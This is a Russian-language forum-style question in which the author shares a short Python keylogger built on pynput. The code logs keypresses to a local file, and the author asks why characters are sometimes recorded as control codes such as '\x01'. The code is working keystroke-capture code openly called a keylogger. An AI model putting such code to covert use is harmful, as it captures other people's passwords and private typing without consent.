Я написал код для кейлоггера и столкнулся с чем-то странным.
Всякий раз, когда я выполняю код, у меня есть 50% шанс, что программа зарегистрирует каждый символ как шестнадцатеричный ('\ x01').
И 50% для того, чтобы записать его как буквенный символ. ( 'А')
-Это действительно случайно?
Пока я НЕ меняю код. Каждый раз, когда я запускаю его, вывод символов может меняться.
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count=+1
print(key)
if count >= 10:
count = 0
write_file(keys)
def on_release(key):
if key == Key.esc:
return False
def write_file(keys):
with open("popa", "a") as wri:
for key in keys:
wri.write(str(key))
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Я ожидаю, что каждый символ будет выведен в удобной для человека форме.
Это НЕ = \ x01